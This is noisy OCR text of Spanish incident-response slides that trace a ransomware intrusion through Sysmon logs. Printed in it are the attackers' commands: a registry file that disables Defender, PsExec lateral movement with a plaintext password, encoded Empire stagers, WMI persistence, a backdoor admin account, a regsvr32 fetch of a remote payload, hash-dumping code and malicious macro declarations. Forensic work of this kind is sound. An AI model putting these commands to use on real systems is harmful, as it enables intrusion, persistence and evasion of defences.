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Paso 3: Ficheros de usuario

dosdivanya_security.bat

.exe /add:W10-PC3 /user:admin /pass:Fiesta2020
\\W10-PC3\C$ Fiesta2020 /USER:W1©-PC3\admin

¢:\users\dolores.jolgorio\Documents\launcher.bat \\W1e-PC3\C$%
¢:\users\dolores.jolgorio\Documents\stalin.exe \\W1@-PC3 -accepteula C:\launcher.bat

= Afade las credenciales del admin local de W10-PC3
= Monta el C$ de W10-PC3
= (opia el stager de Empire

= |[anza con PsExec el stager de Empire
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Paso 3: Ficheros de usuario

nyetAV.reg

Mindows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
"DisableAntiSpyware"=dword:eeeeeeel
"DisableRoutinelyTakingAction"=dword: eeeeeeel

» Deshabilita el antivirus Windows Defender

= [Nota: AMSI (Anti-Malware Scan Interface) tiene que
estar molestandoles de verdad... ©]
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Paso 3: Ficheros de usuario

Source file: 'C:
ination file: - .
( Point: \Use - ata\ \worksp \ > "C:\Users\dom.adm\AppData\

with local file:

SFERRING
ANSFERRED

= Stolichnaya_def.exe = Exploit de la vuln. CVE-2020-0787 ...
con parche en marzo de 2020 ... Il Grrrr 11!




Microsoft-Windows-Sysmon%40Operational 4  Numero de eventos: 8873

<7 Filtrados:Registro: file://C:\Users\antonio\Desktop\ransomware_ate_my_network\Evidencias_Pasos_STIC\Pa

Nivel Fecha y hora Origen Id. del evento Categoria de la tarea
@ Informacion 09/11/2020 13:37:29 Sysmon 1 Process Create (rule: Process...

Evento 1, Sysmon

General Detalles

Process Create:

RuleName:

UtcTime: 2020-11-09 12:37:29.955

ProcessGuid: {d18f9d75-3809-5fa9-0000-00103217b600}
Processld: 1952

Image: C:\Users\dolores.jolgorio\Documents\gonchaya.exe
FileVersion: 3.0.0.0

Product: SharpHound

OriginalFileNa|
CommandLingl "C:\Users\dolores.jolgorio\Documents\gonchaya.exe" --CollectionMetheod all
CurrentDirectc s . .

User: MINAF\dolores.jolgorio
LogonGuid: {d18f9d75-25d0-5fa9-0000-00205a455400}

Logonld: 0x54455A

TerminalSessionld: 3

IntegrityLevel: Medium

Hashes: MD5=829A9DFD2CDCF50519A1CEC1F529854B,SHA 256

=A7240D8BA 7AEEB72C08B915A58976A1DDEE2FF5ABAG67IF7BEC1C7CF528F40DEED, IMPHASH =F34D5F2D4577E
D6D9CEECS516C1F5A 744

ParentProcessGuid: {d18f9d75-2c0e-5fa9-0000-001005527f00}

ParentProcessld: 8524

Parentimage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

ParentCommandLine: powershell -noP -sta -w 1 -enc
SQBmMACgAJABQAFMAVgBFAFIAcwBpAEBATgBUAEEAQQBMAGUALgBQAFMAVBFAFIAcwBpAEBAbgAUAEC
AYQBKAGBAUgAgACOAZwWBIACAAMwApPAHSAJABIADcAZgAOADOAWWBSAGUARgBJAC4AQQBzAHMARQB
tAGIATABZAC4ARWBFAFQAVABSAFAAZQAOACCAUWBSAHMAAABIAGOALgBNAGEAbgBhAGCAZQBIAGUADL
gBOAC4AQQB1AHQAbwBtAGEAJABPAGBAbgAUAFUAABpAGWACWANACKALgAIAECARQBOAEYAaQBIAGA

gy
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Paso 4. Sysmon

= Vamos rebobinando en Sysmon las
acciones de los atacantes

= (Gonchaya = SharpHound, ingesta
de datos del Directorio Activo

= Compafera de Bloodhound, usada
por los atacantes para encontrar
fallos en el Directorio Activo

= Resultados:
20201109133730_BloodHound.zip
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Database Info Node Info Queries

ADMINS. DEL DOMINIO@MINAF.ES

Y Bl
HEd dDI€ HIQN Valle argeta 4]
Node Properties v DC.MINARES DOM.ADM@MINAF.ES
Object ID §-1-5-21-3993753849-1513836012-2919521276-512 : —
Description Administradores designados del dominio
Admin Count True ADMINS. DEL DOMINIO@MINAFES
Extra Properties v P
distinguishedname CN=Admins. del g
dominio,CN=Users,DC=MINAF,DC=ES
domain MINAF.ES
name ADMINS. DEL DOMINIO@MINAF.ES
l Group Members v
Direct Members 4
Unrolled Members 4
Foreign Members 0
Group Membership v
First Degree Group Membership 2 W10-PC5.MINAFR.ES
Unrolled Member Of 2 N
Foreign Group Membership 0 h
Local Admin Rights v
First Degree Local Admin 2
Group Delegated Local Admin Rights 0
> ADMINISTRADOR@MINAF.ES

Derivative Local Admin Rights




Microsoft-Windows-Sysmon%4Operational 4  Nimero de eventos: 8.873

F Filtrados:Registro: file://C:\Users\antonio\Desktop\ransomware_ate_my_network\Evidencias_Pasos_STIC\Paso 3.2 -

Nivel Fecha y hora Origen Id. del evento  Categoria de la tarea

@ Informacion 09/11/2020 13:28:18 Sysmon 1 Process Create (rule: Process..

ml e -4 D014 020 12,2010 [ A [n? F at s i 1 n M
Evento 1, Sysmon b4

General Detalles

Process Create:
RuleName:
UtcTime: 2020-11-09 12:28:18.677

ProcessGuid: {d18f9d75-35e2-5fa9-0000-0010107bb000}
Processld: 7424

Image: C:\Users\dolores.jolgorio\Documents\adfind.exe
FileVersion: 1.52.0.5064

Description:
Product: AdFind

OriginalFileName: AdFind.exe
CommandLine: c:\users\dolores.jolgorio\Documents\adfind.exe -f "(objectcategory=person)"

User: NT AUTHORITY\SYSTEM

LogonGuid: {d18f9d75-cf6a-5fa3-0000-0020e7030000}

Logonld: 0x3E7

TerminalSessionld: 3

IntegrityLevel: System

Hashes: MD5=12011C44955FD6631113F68A99447515,SHA 256
=C92C158D7C37FEA795114FAB491FESF145AD2F8C08776B18AE7T9DB811EBE36A 3, IMPHASH=
12CE1COF3F5837ECC18A3782408FA975

ParentProcessGuid: {d18f9d75-35e2-5fa9-0000-0010c979b000}

ParentProcessld: 8332

Parentimage: C:\Windows\System32\cmd.exe

ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\dolores.jolgorio\Documents\adfind.bat

CoN-cert
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Paso 4. Sysmon

= FEjecutan adfind.exe - otra
herramienta de
reconocimiento de Directorio
AcCtivo

= Meten varios comandos en un
baty recogen resultados
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Evento 1, Sysmon >

A Paso 4. Sysmon

General Detalles

Process Create:

RuleName:

UtcTime: 2020-11-09 12:03:24.669

ProcessGuid: {d18f9d75-300c-5fa9-0000-00102422a800}

e Cxdowsdita = nyetAV se carga con regedit en
FileVersion: 10.0.18362.1 (WinBuild.160101.0800)

Decrpton Rt el registro desde un script en

Product: Microsoft® Windows® Operating System

i A ‘ Powershell > AV Out!

User: NT *i\U HORITY\SYSTEM Microsoft-Windows-Sysmon%40perational 4 Numero de eventos: 8.873
LogonGuid: {d18f9d75-cf6a-5fa3-0000-0020e7030000} <y Filtrados:Registro: file://C:\Users\antonio\Desktop\ransomware_ate_my_network\Evidencias_Pasos_STIC\Paso 3.2 -

Logonld: Ox3E7

TerminalSessionld: 3 =
IntegrityLevel: System Nivel Fecha y hora Origen Id. del evento  Categoria de la tarea ~
Hashes: MD5=29409008DF22243BB320333F9FD5C060,SHA256= (i) Informacion 09/11/2020 13:03:40 Sysmon 1 Process Create (rule: Process...
TACC4A0B686D829D4DACBAFBFIE38ES62BESAGF708A1C2273358AATE4TE1C Bg7, IMPHASH = @ Informacion 09/11/2020 13:03:24 Sysmon 13 Regigtry value set {rule; Reg“
7FEBF576192E34BDF7D07877CBACCA13 ® Informacion 09/11/2020 13:03:24 Sysmon 1 Process Create (rule: Process...
ParentProcessGuid: {d18f9d75-2f96-5fa9-0000-00107661a600} (i)Informacién  09/11/2020 13:02:22 Sysmon 21 WmiEventConsumerToFilter..

Earenz:? r°°955'cd:\330‘2 T T el (i)Informacion  09/11/2020 13:02:13 Sysmon 20 WmiEventConsumer activit...

arentimage: C:\Windows\System indowsPowerShell\v1.0\powershell.exe - ) .

ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc f@)!nimmacf?n ?\E{I]/fsz Efﬂf fysmon 1? :vmlEve:tF”fer,acfwf det. v
SQBGACgAJABQAFMAVgBFAFIAUwBJAEBAbgBUAGEAQgBMAEUALgBQAFMAVgBIAFIAUWBpAESATgAUAED i — x

General Detalles

Reqistry value set:

RuleName: T1089, Tamper-Defender

EventType: SetValue

UtcTime: 2020-11-09 12:03:24.868

ProcessGuid: {d18f9d75-300c-5fa9-0000-00102422a800}
Processld: 1828

TargetObject: HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware

Details: DWORD (0x00000001)




Microsoft-Windows-Sysmon%40perational 4  Numero de eventos: 8873
7 Filtrados:Reqgistro: file://C:\Users\antonio\Desktop\ransomware_ate_my_network\Evidencias_Pasos_STIC\Paso 3.2 - W10-PC5 -
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Paso 4. Sysmon

Nivel Fecha y hora Origen Id.d.. Categoria delatarea
@ Informacion 09/11/2020 13:0213  Sysmon 20 WmiEventConsumer activity detected (rule: WmiEvent)
ml £, e NO/MA12020 120999 s 241 A\Almails tCancmaneTalilt kst dabactacd fealas \Aleail 41

Evento 20, Sysmon

General Detalles

WmiEventConsumer activity detected:

RuleName:

EventType: WmiConsumerEvent

UtcTime: 2020-11-09 12:02:13.462

Operation: Created .

I Name: "Updater”

Destination: "C:\\Windows\\System 32\\WindowsPowerShell\\v1.0\\powershell.exe -Nonl -W hidden -enc
SQBmACgAJABQAFMAVgBFAFIAcwBJAEBAbgBUAEEAY gBsAEUALGBQAFMAVGBFAFIAcWBJAGBATQAUAEOAYQBgAEBAcgAgACOARWBFACAAMWA pPAHSAJABIADcAZgAQA
DOAWwWBYAGUAZgBdAC4AQQBTAHMAZQBNAGIATABZACAARWBIAFQAVABZAFAAZQAOACcAUWBSAHMAGABIAGOALgBNAGEAbgBhAGCAZQBtAGUAbgBOAC4AQQB1A
HQAbwBtAGEAdABpAGBAbgAuAFUAJABpAGwWAcwWANACKALGAIAECARQBUAEYASQBIAGAABABEACIAKAANAGMAYQBJAGgAZQBKAECcAcgBVAHUACABQAGBADABPAG
MAeOBTAGUAdABOAGkAbaBnAHMAJWASACcATaANACsAJwBvAG4AUAB1AGIADABDAGMALABTAHOAYOBOAGKAYWANRACKAOWBJAEYAKAAKAEIANWBmMADOAKOQB7AC

Nivel Fecha y hora Origen Id.d.. Categoria de la tarea
@ Informacién 09/11/2020 13:0213  Sysmon 19 WmiEventFilter activity detected (rule: WmiEvent)

Evento 19, Sysmon

General Detalles

WmiEventFilter activity detected:
RuleName:

EventType: WmiFilterEvent
UtcTime: 2020-11-09 12:02:13.431
Operation: Created

User:

EventNamespace: “root\\CimV2"

Name: “Updater"
Query: "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE Targetinstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND Targetinstance.SystemUpTime

= 240 AND Targetinstance.SystemUpTime < 325"

Persistencia via WM
(como en W10-PC3)




Microsoft-Windows-Sysmon%40perational Numero de eventos: 8873

5 Filtrados:Registro: file://C:\Users\antonio\Desktop\ransomware_ate_my_network\Evidencias_Pasos_STIC\Paso 3.2 - W10-P

=

Nivel Fecha y hora Origen Id. del evento Categoria de la tarea
@ Informacion 09/11/2020 13:01:14 Sysmon 1 Process Create (rule: Pro

[, ¢ i AN IA A INASO A DA A A FS P PR B T L1

Evento 1, Sysmon

General Detalles

Process Create:

RuleName:

UtcTime: 2020-11-09 12:01:14.106

ProcessGuid: {d18f9d75-2f8a-5fa9-0000-0010a801a600}

Processld: 6804

Image: C:\Users\dolores.jolgorio\Documents\stolichnaya_def.exe
FileVersion: 7

Description: 7

Product: ?
Company: ?

LaL= ) —
User: MINAF\dolores.jolgorio
LogonGuid: {d18f9d75-25d0-5fa9-0000-00205a455400}

Logonld: 0x54455A

TerminalSessionld: 3

IntegrityLevel: Medium

Hashes: MD5=7539E721CBD072942DBB389F33B33931,SHA 256
=A6D2069123230029FDA131E50083234F77BDFC493C5816BF2126D95B63134A4A IMPHASH =
72D26C529C22D79B74F0OC9BF62C3572D

ParentProcessGuid: {d18f9d75-2c0e-5fa9-0000-001005527f00}

ParentProcessld: 8524

Parentimage: C:\Windows\System 32\WindowsPowerShell\v1.0\powershell.exe

ParentCommandLine: powershell -noP -sta-w 1 -enc
SQBmMACgAJABQAFMAVgBFAFIAcwBpAESBATgBUAEEAQgBMAGUALgBQAFMAVgBFAFIAcwBpAESAbgAUAEOAYQBKAGSBA
UgAgACOAZwWBIACAAMWApPAHSAJABIADcAZgAOADOAWWBSAGUARgBAAC4AQQBzAHMARQBtAGIATABZAC4ARWBFAFQ
AVABSAFAAZQA0ACCAUWB5AHMAJABIAGOALGBNAGEAbgBhAGCAZQBtAGUAbgBOAC4AQQB1AHQAbwBtAGEAdABPA
G8AbgAuAFUAdABpAGWACWANACKALgAIAECARQBOAEYAaQBIAGAATABKACIAKAANAGMAYQBJAGgAZQBkAEcAcgBVAH

HIA-ADAASNOALAD AR RAA ~ADTAAINIAIADAA A LAL D ALIKAA Lee A A7 c AT A AFm A LoD AMm AR IADAASIALAD A ASRAAl ADTA
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Paso 4. Sysmon

Cxploit de CVE-2020-0787

Fjecucion via Powershell
(agente de Empire)




Process Create:

RuleName:

UtcTime: 2020-11-09 12:01:25.582

ProcessGuid: {d18f9d75-2f95-5fa9-0000-00102e3da600}

Process|d: 8860

Image: C:\Users\dolores.jolgorio\Documents\stolichnaya_def.exe
FileVersion: ?

Description: ?

Product: ?

Company: ?

S

CommandLine: "C:/Users/dolores.jolgorio/Documents/stolichnaya_def.exe" door 3
D2\

—

User: NT AUTHORITY\SYSTEM
LogonGuid: {d18f9d75-cf6a-5fa3-0000-0020e7030000}

Logonld: Ox3E7

TerminalSessionld: 0

IntegrityLevel: System

Hashes: MD5=7539E721CBD072942DBB389F33B33931,SHA256

=A6D2069123230029FDA 131E500B3234F77BDFC493C5816BF2126D95B63134A4A,IMPHASH =
72D26C529C22D79B74FOC9BF62C3572D

ParentProcessGuid: {d18f9d75-2f8a-5fa9-0000-00104e07a600}

ParentProcessld: 4024

Parentimage: C:\Windows\System32\svchost.exe

ParentCommandLine: C:\Windows\System 32\svchost.exe -k netsvcs -p -s BITS

Process Create:

RuleName:

UtcTime: 2020-11-09 12:01:25.806

ProcessGuid: {d18f9d75-2f95-5fa9-0000-0010d 147a600}
Processld: 3892

Image: C:\Windows\System32\cmd.exe

FileVersion: 10.0.18362.1 (WinBuild.160101.0800)
Description: Windows Command Processor

Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation

E CommandLine: "C:\Windows\System32\cmd.exe" net user remote Sputnikz5! /add & net localgroup Administradores remote
el

CurrentDirectory: C:\Windows\system32\

User: NT AUTHORITY\SYSTEM

LogonGuid: {d18f9d75-cf6a-5fa3-0000-0020e7030000}

Logonld: Ox3E7

TerminalSessionld: 0

IntegrityLevel: System

Hashes: MD5=9D59442313565C2E0860B88BF32B2277,SHA256
=DOCEB18272966AB62B8EDFF100E9B4A6A3CB5DCOF2A32B2B18721FEA2DICO9AS5,IMPHASH =
272245E2988E 1E430500B852C4FB5E18

ParentProcessGuid: {d18f9d75-2f95-5fa9-0000-00102e3da600}

ParentProcessld: 8860

Parentimage: C:\Users\dolores.jolgorio\Documents\stolichnaya_def.exe
ParentCommandLine: "C:/Users/dolores.jolgorio/Documents/stolichnaya_def.exe" door 3

Process Create:
RuleName:
UtcTime: 2020-11-09 12:01:25.781

ProcessGuid: {d18f9d75-2f95-5fa9-0000-00106246a600}
Processld: 4880

Image: C:\Windows\System32\bitsadmin.exe
FileVersion: 7.8.18362.1 (WinBuild.160101.0800)
Description: BITS administration utility

Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation

o

CoN-cert
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CommandLine: "C:\Windows\System32\bitsadmin.exe" /reset /allusers

Cart m LTy

User: NT AUTHORITY\SYSTEM

LogonGuid: {d18f9d75-cf6a-5fa3-0000-0020e7030000}

Logonld: Ox3E7

TerminalSessionld: 0

IntegrityLevel: System

Hashes: MD5=A23A7A6B6F8E1A5D913EA 119F5F2ED1A,SHA256
=EAAE8536D554D0E86D8540A8B34DB2649BD884843F389495D0B6E91636C6CF54,IMPHASH=
9EA9

ParentProcessGuid: {d18f9d75-2f95-5fa9-0000-00102e3da600}

ParentProcessld: 8860

Parentimage: C:\Users\dolores.jolgorio\Documents\stolichnaya_def.exe
ParentCommandLine: "C:/Users/dolores.jolgorio/Documents/stolichnaya_def.exe" door 3

Process Create:

RuleName:

UtcTime: 2020-11-09 12:01:25.827

ProcessGuid: {d18f9d75-2f95-5fa9-0000-00106f49a600}
Processld: 5128

Image: C:\Windows\System32\cmd.exe

FileVersion: 10.0.18362.1 (WinBuild.160101.0800)
Description: Windows Command Processor

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation
o A o L.

Donevoallibab s e O
CommandLine: cmd.exe /c regsvr32 /s /i:http://101.132.122.215/launcher11.sct scrobj.dll

—

. " Toc\

User: NT AUTHORITY\SYSTEM

LogonGuid: {d18f9d75-cf6a-5fa3-0000-0020e7030000}

Logonld: 0x3E7

TerminalSessionld: 3

IntegrityLevel: System

Hashes: MD5=9D59442313565C2E0860B88BF32B2277, SHA256
=DOCEB18272966AB62B8EDFF 100E9B4A6A3CB5DCOF2A32B2B18721FEA2D9CO9AS,IMPHASH =
272245E2988E1E430500B852C4FB5SE18

ParentProcessGuid: {d18f9d75-2f95-5fa9-0000-00102e3da600}

ParentProcess|d: 8860

Parentimage: C:\Users\dolores.jolgorio\Documents\stolichnaya_def.exe
ParentCommandLine: "C:/Users/dolores.jolgorio/Documents/stolichnaya_def.exe" door 3




Microsoft-Windows-Sysmon%40perational Numero de eventos: 8.873
[ ———————————————————— 1 ——— ]

<7 Filtrados:Registro: file://C:\Users\antonio\Desktop\ransomware_ate_my_network\Evidencias_Pasos_STIC\Paso 3.2 - W10-PC5 -

Nivel Fechay hora Origen Id. del evento Categoria de la tarea
(@) Informacién 09/11/2020 13:01:26 Sysmon 1 Process Create (rule: Process...

£33, ¢ s OO iaa mAan a0 s o c aa o PR TP T = =

Evento 1, Sysmon

General Detalles

Process Create: fo)
RuleName:

UtcTime: 2020-11-09 12:01:26.441

ProcessGuid: {d18f9d75-2f96-5fa9-0000-00107661a600}

Processld: 4804

Image: C:\Windows\System 32\WindowsPowerShell\v1.0\powershell.exe

FileVersion: 10.0.18362.1 (WinBuild.160101.0800)

Description: Windows PowerShell

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: PowerShell.EXE

CommandLine: "C:\Windows\System 32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc
SQBGACgAJABQAFMAVgBFAFIAUWBJAEBAbgBUAGEAQgBMAEUALgBQAFMAVGBIAFIAUWBpAESATgAUAEOAQQBKAGBAC
gAgACOAZwWBIACAAMwWApPAHsAJABIADcARgAOADOAWwWBYAGUARgBAAC4AQQBzAFMARQBNAEIATABSAC4ARWBIAFQA

AGMARQBYAHMAOABGAGOAZwWBZADOAIgApADsAJABKAEEAVABBADOAJABFAEIARABKAC4ARABVAFCATgBSAGBAQQBEA
EQAQQBUAEEAKAAKAHMARQBYACSAJABOACKAOWAKAEKAVgA9ACQARABhAFQAYQBbADAALgAUADMAXQATACQARA
BhAFQAQQASACQAZABBAFQAQQBbADQALgAUACQARABBAHQAQQAUAGWARQBOAECAVABOAFOAOWALAGOATWBIAE
AAWwWBDAEgAYQBYAFsAXQBdACgAJgAgACQAUgAgACQAZABBAHQAQQAGACgAJABIAFYAKwAKAESAKQApAHWASQBF
AFgA

CurrentDirectory: C:\Windows\system32\

User: NT AUTHORITY\SYSTEM

LogonGuid: {d18f9d75-cf6a-5fa3-0000-0020e7030000}

Logonld: 0x3E7

TerminalSessionld: 3

IntegrityLevel: System

Hashes: MD5=CDA48FC75952AD12D99E526D0B6BF70A, SHA256=
908B64B1971A979CTE3EBCE4621945CBAB4854CB98D76367B791A6E22B5F6D53, IMPHASH=A7CEFACDDA74B13CD330390769
752481

ParentProcessGuid: {d18f9d75-2f96-5fa9-0000-00106156a600}

ParentProcessld: 8868

In] 41 AL A O o 294 29
' -y

ParentCommandLine: reqsvr32 /s /i:http://101.132.122.215/launcher11.sct scrobj.dll ~

|V S T . Feonae - -
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Paso 4. Sysmon

= (CVE-2020-0787 aprovecha un
fallo en BITS

= (Creaunusuarioy lo afade al
rupo de administradores
ocales

= Descarga un .scty lo ejecuta -
agente de Empire (como
System)
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SKEYQUERYVALUE = Oxl, centro criptolégico nacienal
$KEYREAD = 0x19;
$KEYALLACCESS = OX3F;

st - - Paso 5: Credenciales

if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,®,SKEYREAD, [ref]Shkey))

{

$classVal = New-Object Text.Stringbuilder 1024

[int]$len = 1024

/
if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal, [ref]l$len,0, [ref]$null, [ref]$null, [} ‘( m h h h
[ref]$null, [ref]$null, [ref]$null, [ref]$null, [ref]$null,0)) d_ O O S e a n e C O

i $result = $classVal.ToString() CO ﬂ |a pa SS d e ad m i n?
else
o [ = Sabemos que usan
366262 SKEYQUERYVALUE = 0x1; . .
ol oo - oo Empire = estudiemos
366464 SKEYALLACCESS = ©x3F; 7 |
e R su codigo fuente
366526 [int]Shkey=0
ggggig if (-not [GEREIENIEENative]::RegOpenKeyEx($nkey, $subkey,©, SKEYREAD, [ref]$hkey))

; Volcar hashes locales -
ggg;gj $classVal = New-Object Text.Stringbuilder 1024 " O Ca r aS es Oca es
[int]Slen = 1624
_i (-nafn[hative] : :RegQueryInfoKey(Shkey, $classVal, [ref]$len, @, [ref]$null, [ref]$null, pOWe rd u m p

[ref]1$null, [ref]$null, [ref]$null, [ref]$null, [ref]$null,0))
}

$result = $classVal.ToString() [ | |—| |tS e n me mo ria % @

{ Write-Error "RegQueryInfoKey failed"; - Pa S.S — FieStaZOZO %
%‘dati\.-e]::RegCloseKey(shkey) | Out-Null 5 m I n d e h a S h Cat @

{




Microsoft-Windows-Sysmon%40perational 1  NUmero de eventos: 8.873

Nivel Fecha y hora Origen Id. del evento Categoria de la tarea

@Informacic‘)n 09/11/2020 12:46:23  Sysmon 1 Process Create (rule: ProcessCreate)
<
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Paso 6: Cambio a Empire

Evento 1, Sysmon

General Detalles

Process Create:

RuleName:

UtcTime: 2020-11-09 11:46:22.449

ProcessGuid: {d18f9d75-2c0e-5fa9-0000-0010754d 7f00}
Processld: 8548

Image: C:\Windows\System32\cmd.exe

FileVersion: 10.0.18362.1 (WinBuild.160101.0800)

Description: Windows Command Processor

Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation

nrininalcilm fal=ay= N =Py

CommandLine: C:\Windows\system32\cmd.exe /c c:\users\dolores.jolgorio\Documents\launcher.bat
T T T T e U T T S TS S T o 2T

User: MINAF\dolores.jolgorio

LogonGuid: {d18f9d75-25d0-5fa9-0000-00205a455400}
Logonld: Ox54455A

TerminalSessionld: 3

IntegrityLevel: Medium

Hashes: MD5=9D59442313565C2E0860B88BF32B2277,SHA 256
=D0OCEB18272966AB62B8EDFF100E9B4A6A3CB5DCOF2A32B2B18721FEA2DIC09AS5,IMPHASH=
272245E2988E1E430500B852C4FB5E18

ParentProcessGuid: {d18f9d75-2a20-5fa9-0000-00103bd 06400}
ParentProcessid. 6560

I Parentimage: C:\Windows\System32\rundl|32.exe
AN s

Atacantes ejecutan el stager
de Empire

La actividad pasa a ser de
Empire - ;Qué era antes?

;Posible cambio de
atacantes? - Emotet vende
accesos -2 Ryuk hace la
intrusion y despliega el
ransomware




mandLine: whoami
PR N I ——Y

Y R

vriginalkileName: whoami|.
Com
~_

OriginalFileName: whoami.exe
CommandLine: whoami /priv

OriginalFileName: net.exe
CommandLine: net user
i s e o s ot
OriginalFileName: net.exe
CommandLine: net user /domain

i s T S s e
OriginalFileName: net1.exe

CommandLine: C:\Windows\system32\net1 user /domain

:orﬁmandLine: net group /domain
ZurrentDirectory: c:\Users\dolores.jolgorio\Documents\

wrigimnairiueinNndgine: neLexe
CommandLine: net localgroup
CurrentDirectory: c:\Users\dolores.jolgorio\Documents\

Oriqi-naIF-iIeName: ipconfiq.exe
CommandLine: ipconfig /all

OriginalFileName: tasklist.exe
CommandLine: tasklist

Paso /: Reconocimiento

Actividades de reconocimiento del
sistema

Privilegios del usuario actual
Listados de usuarios y grupos
Configuracion IP

Procesos corriendo

Nota: esta info puede ser empleada
en un futuro ataque




Process Create:

RuleName:

UtcTime: 2020-11-09 11:38:48.628

ProcessGuid: {d18f9d75-2a48-5fa9-0000-0010dc2d6500}
Processld: 5196

Image: C:\Windows\System32\cmd.exe
FileVersion: 10.0.18362.1 (WinBuild.160101.0800)
Description: Windows Command Processor
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation

b

[T PN Coaadl &

CommandLine: C:\Windows\system32\cmd.exe

User: MINAR\dolores.jolgorio

LogonGuid: {d18f9d75-25d0-5fa9-0000-00205a455400}
Logonld: 0x54455A

TerminalSessionld: 3

IntegrityLevel: Medium

Hashes: MD5=9D59442313565C2E0860B88BF32B2277, SHA256

=DOCEB18272966AB62B8EDFF100E9B4A6A3CB5DCOF2A32B2B18721FEA2DICO9AS,IMPHASH =

272245E2988E 1E430500B852C4FB5SE18

ParentProcessGuid: {d18f9d75-2a20-5fa9-0000-00103bd 06400}
ParentProcessld: 6560

ParIantImaqe: C:\Windows\System32\rundll32.exe
ParentCommandLine: rundli32

CoN-cert
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Network connection detected:
RuleName:
UtcTime: 2020-11-09 11:38:16.541

Processld: 6560

Image: C:\Windows\System 32\rundl|l32.exe
User: MINAF\dolores.jolgorio

Protocol: tcp

Initiated: true

Sourcelslpvé: false

Sourcelp: 10.11.2.16

SourceHostname: W10-PC5.MINAF.ES
SourcePort: 50064

SourcePortName:

| Destinationlp: 101.132.122.214

DestinationPort: 4443
DestinationPortName:

ProcessGuid: {d18f9d75-2a20-5fa9-0000-00103bd06400}

Sysmon no tiene sentimientos y muestra

la verdad descarnada... (!

y
1

0jo con el 10C

nuevo!) 2 101.132.122.214

Process Create:

RuleName:

UtcTime: 2020-11-09 11:38:08.578

ProcessGuid: {d18f9d75-2a20-5fa9-0000-00103bd 06400}
Processld: 6560

Image: C:\Windows\System32\rundll32.exe

FileVersion: 10.0.18362.1 (WinBuild.160101.0800)

Description: Windows host process (Rundll32)

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: RUNDLL32.EXE

CommandLine: rundlI32

CurrentDirectory: C:\Windows\system 32\

User: MINAF\dolores.jolgorio

LogonGuid: {d18f9d75-25d0-5fa9-0000-00205a455400}

Logonld: 0x54455A

TerminalSessionld: 3

IntegrityLevel: Medium

Hashes: MD5=F68AF942FD7CCCOE7BAB1A2335D2AD26,SHA256=
11064E9EDC6H05BD5BOCOA505538A0D5FD7DES3883AF342F091687CAE8628ACD0,IMPHASH =F27A7FC3AS53E74F45BE370131953896A
ParentProcessGuid: {d18f9d75-29e6-5fa9-0000-001082¢c26200}

Parentimage: C:\Program Files\Microsoft Office\Office16\WINWORD.EXE
ParentCommandLine: "C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" /n “C:\Users\dolores.jolgorio\Downloads
\FFP_Reorg_DEF.doc" /o "*
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e FFP2_Reorg_DEF - Word (Error de activacién de productos) = X
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167

?

% Community
Score

DETECTION DETAILS

Ad-Aware

Avast

Avira (no cloud)

BitDefender

Cynet

Emsisoft

F-Secure

Fortinet

Kaspersky

McAfee-GW-Edition

NANO-Antivirus

Rising

SentinelOne (Static ML)

Sophos ML

Tencent

Zoner

@ 31engines detected this file

63c8b6288a09b1ac43847bee20e5147e1251d589458f0a2f5686f66a47e0d259

FFP_Reorg_DEF.doc

docx macros run-dil

O]

O 60 60 60 0 0 0 60 60 0 0 0 6 0 6

RELATIONS COMMUNITY

VB:Trojan.Valyria.378

VBA:Downloader-EQO [Trjl

HEUR/Macro.Downloader

VB:Trojan.vValyria.378

Malicious (score: 70)

VB:TrojanValyria.378 (B)

Trojan:W97M/MaliciousMacro.GEN

VBA/Kryptik EAB2!tr

HEUR:Trojan-Downloader.Script. Generic

BehavesLike.Downloader.cc

Trojan.Script.Agent.clxgqd

Macro.Agent.bw (CLASSIC)

Static Al - Malicious OPENXML

Troj/DocDI-L

Heur.Macro.Generic.e.44855a8

Probably Heur.W97QObfuscated

CoN-cert
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Arcabit

AVG

Baidu

CAT-QuickHeal

Elastic

eScan

FireEye

GData

MAX

Microsoft

Qihoo-360

Sangfor Engine Zero

Sophos AV

Symantec

ZoneAlarm by Check Point

Acronis

&
104.92 KB 2020-11-14 21:47:32 UTC
Size 1 minute ago DOCX

© 6 6 6 6 o o 6 6 6 6 o 6 6 6 06

VB:Trojan.Valyria.378

VBA:Downloader-EQO [Trj

VBA.Trojan.Kryptik.as

O97M.Dropper.G

Malicious (high Confidence)

VB:Trojan.Valyria.378

VB:Trojan.Valyria.378

VB:Trojan.Valyria.378

Malware (ai Score=84)

TrojanDownloader:097M/Donofflsc

Virus.office.gexvmc.1070

Malware

Troj/DocDI-L

ISB.Downloaderlgen178

HEUR:Trojan-Downloader.Script.Generic

Undetected

a.-o
) S
o--n




ﬂ% FFP_Reorg_DEF - NewMacros (Cédigo)

Paso 8:
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Vector de entrada

BN

[(General) v | [AutoOpen v
#If VBAT Then w
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Dzsup As Long, ByVal Sahykzr As Long, ByVal Syyha As LongPtr, Dwlowdzv As Long, ByVal Wgpyuedp As Long, Vrxbigly As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlleoc Lib "kernel32" (ByVal Qdfxzxtnt As Long, ByVal Ktguk As Long, ByVal Cca As Long, ByVal Oxr As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Ebr As LongPtr, ByRef Pgirvmmeb As Any, ByVal Gtmdyxyl As Long) As LongPtr
#Else
